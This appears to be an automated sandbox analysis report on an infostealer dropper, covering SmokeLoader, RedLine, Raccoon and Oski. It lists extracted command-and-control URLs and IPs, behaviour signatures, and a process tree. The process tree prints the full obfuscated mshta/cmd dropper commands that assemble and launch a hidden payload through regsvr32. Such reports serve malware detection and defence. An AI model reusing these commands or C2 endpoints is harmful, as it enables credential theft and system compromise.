Analysis
-
max time kernel
151s -
max time network
144s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
13-11-2021 18:46
Static task
static1
Behavioral task
behavioral1
Sample
94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe
Resource
win10-en-20211014
General
-
Target
94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe
-
Size
316KB
-
MD5
2d4410f782307ab67ca3b6066e3d4f6a
-
SHA1
fe709823cf9479cf93511a96d43b1d600b99493e
-
SHA256
94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca
-
SHA512
1789fee92cad1d1a95467dcb08f87d556d66a2aeb17d95da1a2ae228751544418c140c139ba809920e5cc5e975b7011b4ce30e9adc2597d44035da7765c0f0d2
Malware Config
Extracted
smokeloader
2020
http://host-file-host6.com/
http://host-host-file8.com/
http://srtuiyhuali.at/
http://fufuiloirtu.com/
http://amogohuigotuli.at/
http://novohudosovu.com/
http://brutuilionust.com/
http://bubushkalioua.com/
http://dumuilistrati.at/
http://verboliatsiaeeees.com/
Extracted
redline
185.159.80.90:38637
Extracted
redline
SuperStar
185.215.113.29:36224
Extracted
raccoon
1.8.3-hotfix
675718a5f2ce6d3cacf6cb04a512f5637eae995f
-
url4cnc
http://91.219.236.27/agrybirdsgamerept
http://5.181.156.92/agrybirdsgamerept
http://91.219.236.207/agrybirdsgamerept
http://185.225.19.18/agrybirdsgamerept
http://91.219.237.227/agrybirdsgamerept
http://185.163.47.176/agrybirdsgamerept
Extracted
oski
takpo.biz
Signatures
-
Oski
Oski is an infostealer targeting browser data, crypto wallets.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 5 IoCs
Processes:
resource yara_rule behavioral1/memory/1188-146-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1188-147-0x0000000000418EEA-mapping.dmp family_redline behavioral1/memory/2440-159-0x0000000002060000-0x000000000207C000-memory.dmp family_redline behavioral1/memory/1188-160-0x0000000005520000-0x0000000005B26000-memory.dmp family_redline behavioral1/memory/2440-167-0x0000000002320000-0x000000000233B000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 2212 created 2328 2212 WerFault.exe 4AE5.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 13 IoCs
Processes:
24D9.exe29AD.exe2CEA.exe3305.exe24D9.exe29AD.exe3305.exe470B.exe4AE5.exeGrindstone.exeGrindstone.exeC18D.exeSIOFYL_.eXEpid process 2240 24D9.exe 3956 29AD.exe 1516 2CEA.exe 2576 3305.exe 680 24D9.exe 1188 29AD.exe 2440 3305.exe 2244 470B.exe 2328 4AE5.exe 1316 Grindstone.exe 2068 Grindstone.exe 1216 C18D.exe 808 SIOFYL_.eXE -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
470B.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 470B.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 470B.exe -
Deletes itself 1 IoCs
Processes:
pid process 3056 -
Loads dropped DLL 1 IoCs
Processes:
regsvr32.exepid process 3864 regsvr32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\470B.exe themida behavioral1/memory/2244-184-0x0000000000E10000-0x0000000000E11000-memory.dmp themida -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
explorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
470B.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 470B.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
470B.exepid process 2244 470B.exe -
Suspicious use of SetThreadContext 5 IoCs
Processes:
94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe24D9.exe29AD.exe3305.exeGrindstone.exedescription pid process target process PID 2752 set thread context of 3808 2752 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe PID 2240 set thread context of 680 2240 24D9.exe 24D9.exe PID 3956 set thread context of 1188 3956 29AD.exe 29AD.exe PID 2576 set thread context of 2440 2576 3305.exe 3305.exe PID 1316 set thread context of 2068 1316 Grindstone.exe Grindstone.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 2212 2328 WerFault.exe 4AE5.exe 3912 2068 WerFault.exe Grindstone.exe -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe2CEA.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2CEA.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2CEA.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2CEA.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 1236 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exepid process 3808 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe 3808 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 3056 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 3056 -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe2CEA.exepid process 3808 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe 1516 2CEA.exe 3056 3056 3056 3056 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
WerFault.exe29AD.exe470B.exetaskkill.exedescription pid process Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeRestorePrivilege 2212 WerFault.exe Token: SeBackupPrivilege 2212 WerFault.exe Token: SeDebugPrivilege 2212 WerFault.exe Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeDebugPrivilege 1188 29AD.exe Token: SeDebugPrivilege 2244 470B.exe Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 Token: SeDebugPrivilege 1236 taskkill.exe Token: SeShutdownPrivilege 3056 Token: SeCreatePagefilePrivilege 3056 -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe24D9.exe29AD.exe3305.exe29AD.exeGrindstone.exeC18D.exedescription pid process target process PID 2752 wrote to memory of 3808 2752 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe PID 2752 wrote to memory of 3808 2752 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe PID 2752 wrote to memory of 3808 2752 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe PID 2752 wrote to memory of 3808 2752 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe PID 2752 wrote to memory of 3808 2752 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe PID 2752 wrote to memory of 3808 2752 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe 94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe PID 3056 wrote to memory of 2240 3056 24D9.exe PID 3056 wrote to memory of 2240 3056 24D9.exe PID 3056 wrote to memory of 2240 3056 24D9.exe PID 3056 wrote to memory of 3956 3056 29AD.exe PID 3056 wrote to memory of 3956 3056 29AD.exe PID 3056 wrote to memory of 3956 3056 29AD.exe PID 3056 wrote to memory of 1516 3056 2CEA.exe PID 3056 wrote to memory of 1516 3056 2CEA.exe PID 3056 wrote to memory of 1516 3056 2CEA.exe PID 3056 wrote to memory of 2576 3056 3305.exe PID 3056 wrote to memory of 2576 3056 3305.exe PID 3056 wrote to memory of 2576 3056 3305.exe PID 2240 wrote to memory of 680 2240 24D9.exe 24D9.exe PID 2240 wrote to memory of 680 2240 24D9.exe 24D9.exe PID 2240 wrote to memory of 680 2240 24D9.exe 24D9.exe PID 2240 wrote to memory of 680 2240 24D9.exe 24D9.exe PID 2240 wrote to memory of 680 2240 24D9.exe 24D9.exe PID 2240 wrote to memory of 680 2240 24D9.exe 24D9.exe PID 3956 wrote to memory of 1188 3956 29AD.exe 29AD.exe PID 3956 wrote to memory of 1188 3956 29AD.exe 29AD.exe PID 3956 wrote to memory of 1188 3956 29AD.exe 29AD.exe PID 3956 wrote to memory of 1188 3956 29AD.exe 29AD.exe PID 3956 wrote to memory of 1188 3956 29AD.exe 29AD.exe PID 3956 wrote to memory of 1188 3956 29AD.exe 29AD.exe PID 3956 wrote to memory of 1188 3956 29AD.exe 29AD.exe PID 3956 wrote to memory of 1188 3956 29AD.exe 29AD.exe PID 2576 wrote to memory of 2440 2576 3305.exe 3305.exe PID 2576 wrote to memory of 2440 2576 3305.exe 3305.exe PID 2576 wrote to memory of 2440 2576 3305.exe 3305.exe PID 2576 wrote to memory of 2440 2576 3305.exe 3305.exe PID 2576 wrote to memory of 2440 2576 3305.exe 3305.exe PID 2576 wrote to memory of 2440 2576 3305.exe 3305.exe PID 2576 wrote to memory of 2440 2576 3305.exe 3305.exe PID 2576 wrote to memory of 2440 2576 3305.exe 3305.exe PID 2576 wrote to memory of 2440 2576 3305.exe 3305.exe PID 3056 wrote to memory of 2244 3056 470B.exe PID 3056 wrote to memory of 2244 3056 470B.exe PID 3056 wrote to memory of 2244 3056 470B.exe PID 3056 wrote to memory of 2328 3056 4AE5.exe PID 3056 wrote to memory of 2328 3056 4AE5.exe PID 3056 wrote to memory of 2328 3056 4AE5.exe PID 1188 wrote to memory of 1316 1188 29AD.exe Grindstone.exe PID 1188 wrote to memory of 1316 1188 29AD.exe Grindstone.exe PID 1188 wrote to memory of 1316 1188 29AD.exe Grindstone.exe PID 1316 wrote to memory of 2068 1316 Grindstone.exe Grindstone.exe PID 1316 wrote to memory of 2068 1316 Grindstone.exe Grindstone.exe PID 1316 wrote to memory of 2068 1316 Grindstone.exe Grindstone.exe PID 1316 wrote to memory of 2068 1316 Grindstone.exe Grindstone.exe PID 1316 wrote to memory of 2068 1316 Grindstone.exe Grindstone.exe PID 1316 wrote to memory of 2068 1316 Grindstone.exe Grindstone.exe PID 1316 wrote to memory of 2068 1316 Grindstone.exe Grindstone.exe PID 1316 wrote to memory of 2068 1316 Grindstone.exe Grindstone.exe PID 1316 wrote to memory of 2068 1316 Grindstone.exe Grindstone.exe PID 3056 wrote to memory of 1216 3056 C18D.exe PID 3056 wrote to memory of 1216 3056 C18D.exe PID 3056 wrote to memory of 1216 3056 C18D.exe PID 1216 wrote to memory of 3852 1216 C18D.exe mshta.exe PID 1216 wrote to memory of 3852 1216 C18D.exe mshta.exe -
outlook_office_path 1 IoCs
Processes:
explorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe -
outlook_win_path 1 IoCs
Processes:
explorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe"C:\Users\Admin\AppData\Local\Temp\94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe"C:\Users\Admin\AppData\Local\Temp\94563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\24D9.exeC:\Users\Admin\AppData\Local\Temp\24D9.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\24D9.exeC:\Users\Admin\AppData\Local\Temp\24D9.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\29AD.exeC:\Users\Admin\AppData\Local\Temp\29AD.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\29AD.exeC:\Users\Admin\AppData\Local\Temp\29AD.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Grindstone.exe"C:\Users\Admin\AppData\Local\Temp\Grindstone.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Grindstone.exeC:\Users\Admin\AppData\Local\Temp\Grindstone.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2068 -s 245⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\2CEA.exeC:\Users\Admin\AppData\Local\Temp\2CEA.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\3305.exeC:\Users\Admin\AppData\Local\Temp\3305.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\3305.exeC:\Users\Admin\AppData\Local\Temp\3305.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\470B.exeC:\Users\Admin\AppData\Local\Temp\470B.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\4AE5.exeC:\Users\Admin\AppData\Local\Temp\4AE5.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2328 -s 7962⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\C18D.exeC:\Users\Admin\AppData\Local\Temp\C18D.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\C18D.exe"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF """"== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\C18D.exe"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\C18D.exe" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\C18D.exe" ) do taskkill -f /iM "%~NXS"3⤵
-
C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk ""== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF "/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk "== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ) do taskkill -f /iM "%~NXS"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscrIPT: cLOSE(cREateObJeCt( "wscRiPt.SHELl"). Run ("cMd /r Echo | set /P = ""MZ"" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q * " ,0 ,tRuE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r Echo | set /P = "MZ" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q *6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Echo "7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>V_DXQ.No"7⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 ..\CxSXSHYX.ZBV -s7⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f /iM "C18D.exe"4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\29AD.exe.logMD5
41fbed686f5700fc29aaccf83e8ba7fd
SHA15271bc29538f11e42a3b600c8dc727186e912456
SHA256df4e9d012687cdabd15e86bf37be15d6c822e1f50dde530a02468f0006586437
SHA512234b2235c1ced25810a4121c5eabcbf9f269e82c126a1adc363ee34478173f8b462e90eb53f5f11533641663350b90ec1e2360fd805b10c041fab12f4da7a034
-
C:\Users\Admin\AppData\Local\Temp\24D9.exeMD5
2d4410f782307ab67ca3b6066e3d4f6a
SHA1fe709823cf9479cf93511a96d43b1d600b99493e
SHA25694563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca
SHA5121789fee92cad1d1a95467dcb08f87d556d66a2aeb17d95da1a2ae228751544418c140c139ba809920e5cc5e975b7011b4ce30e9adc2597d44035da7765c0f0d2
-
C:\Users\Admin\AppData\Local\Temp\24D9.exeMD5
2d4410f782307ab67ca3b6066e3d4f6a
SHA1fe709823cf9479cf93511a96d43b1d600b99493e
SHA25694563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca
SHA5121789fee92cad1d1a95467dcb08f87d556d66a2aeb17d95da1a2ae228751544418c140c139ba809920e5cc5e975b7011b4ce30e9adc2597d44035da7765c0f0d2
-
C:\Users\Admin\AppData\Local\Temp\24D9.exeMD5
2d4410f782307ab67ca3b6066e3d4f6a
SHA1fe709823cf9479cf93511a96d43b1d600b99493e
SHA25694563a2bb64b9bf3e490739a1214abeb30f23a24ebf4230b1feb13a26b83e6ca
SHA5121789fee92cad1d1a95467dcb08f87d556d66a2aeb17d95da1a2ae228751544418c140c139ba809920e5cc5e975b7011b4ce30e9adc2597d44035da7765c0f0d2
-
C:\Users\Admin\AppData\Local\Temp\29AD.exeMD5
e922d31d9e42823f27cb8512b3afe7ac
SHA1c3acff8045e6ab4668894f9b0a42c274a654b2d8
SHA25618e784c6c045e8bc45a1a2c06d6013ef712cfd63f9b5843e31911fdf1a27a872
SHA512e9420bf7113c8be1addb736bfd8051327325256e5f03f83d6851b1f25883df39fe62bfa75b9f7ebab2002aedf1bc281f9f3cbdd44b7b7194adeb4e2789f73ac8
-
C:\Users\Admin\AppData\Local\Temp\29AD.exeMD5
e922d31d9e42823f27cb8512b3afe7ac
SHA1c3acff8045e6ab4668894f9b0a42c274a654b2d8
SHA25618e784c6c045e8bc45a1a2c06d6013ef712cfd63f9b5843e31911fdf1a27a872
SHA512e9420bf7113c8be1addb736bfd8051327325256e5f03f83d6851b1f25883df39fe62bfa75b9f7ebab2002aedf1bc281f9f3cbdd44b7b7194adeb4e2789f73ac8
-
C:\Users\Admin\AppData\Local\Temp\29AD.exeMD5
e922d31d9e42823f27cb8512b3afe7ac
SHA1c3acff8045e6ab4668894f9b0a42c274a654b2d8
SHA25618e784c6c045e8bc45a1a2c06d6013ef712cfd63f9b5843e31911fdf1a27a872
SHA512e9420bf7113c8be1addb736bfd8051327325256e5f03f83d6851b1f25883df39fe62bfa75b9f7ebab2002aedf1bc281f9f3cbdd44b7b7194adeb4e2789f73ac8
-
C:\Users\Admin\AppData\Local\Temp\2CEA.exeMD5
d985b4cfdceecc3c0fe4f3e4fda4e416
SHA1f3c14a4d87569e54faaf0eac73ec1aafa2621dfa
SHA256a8b37d6b073ee045ae63473cb1a592c974e896b19e3db06d552f955901c06db7
SHA512560a056c076db6893f6407807d9a10d1078c148aa588d9de6ce1874eeac0a4feaf2102b656ba96316a32c89df97986f20cf77e55117e2c9bf97e52ef3381335c
-
C:\Users\Admin\AppData\Local\Temp\2CEA.exeMD5
d985b4cfdceecc3c0fe4f3e4fda4e416
SHA1f3c14a4d87569e54faaf0eac73ec1aafa2621dfa
SHA256a8b37d6b073ee045ae63473cb1a592c974e896b19e3db06d552f955901c06db7
SHA512560a056c076db6893f6407807d9a10d1078c148aa588d9de6ce1874eeac0a4feaf2102b656ba96316a32c89df97986f20cf77e55117e2c9bf97e52ef3381335c
-
C:\Users\Admin\AppData\Local\Temp\3305.exeMD5
b8baaa7fb7b8ced405825bad6a9139ef
SHA11bd7b8a0a96fce4dd058a4fc9bd623f5896da8a2
SHA256f845319ff9fa29ecbd41f2468db175a4f7137b638a3b490e94f565c0728f6f48
SHA51257c5d8286710d7d7561fab8b93a39eaa7e75a4f16365050c3935f0e9f3b2d0cc129c7e5f1023cdb2762f4668ce18c55a794b7e5ea1dffe5f29460eae856faf41
-
C:\Users\Admin\AppData\Local\Temp\3305.exeMD5
b8baaa7fb7b8ced405825bad6a9139ef
SHA11bd7b8a0a96fce4dd058a4fc9bd623f5896da8a2
SHA256f845319ff9fa29ecbd41f2468db175a4f7137b638a3b490e94f565c0728f6f48
SHA51257c5d8286710d7d7561fab8b93a39eaa7e75a4f16365050c3935f0e9f3b2d0cc129c7e5f1023cdb2762f4668ce18c55a794b7e5ea1dffe5f29460eae856faf41
-
C:\Users\Admin\AppData\Local\Temp\3305.exeMD5
b8baaa7fb7b8ced405825bad6a9139ef
SHA11bd7b8a0a96fce4dd058a4fc9bd623f5896da8a2
SHA256f845319ff9fa29ecbd41f2468db175a4f7137b638a3b490e94f565c0728f6f48
SHA51257c5d8286710d7d7561fab8b93a39eaa7e75a4f16365050c3935f0e9f3b2d0cc129c7e5f1023cdb2762f4668ce18c55a794b7e5ea1dffe5f29460eae856faf41
-
C:\Users\Admin\AppData\Local\Temp\470B.exeMD5
a70df5f0cab9a6a58d218fb4f2ef9aec
SHA1d90bf3b4493e6ad834293ea1549e26e10325479d
SHA2560384bc178166e6c703d82b4b0c976a697c6ccc9e9c679ec8c5485f45bc4e057b
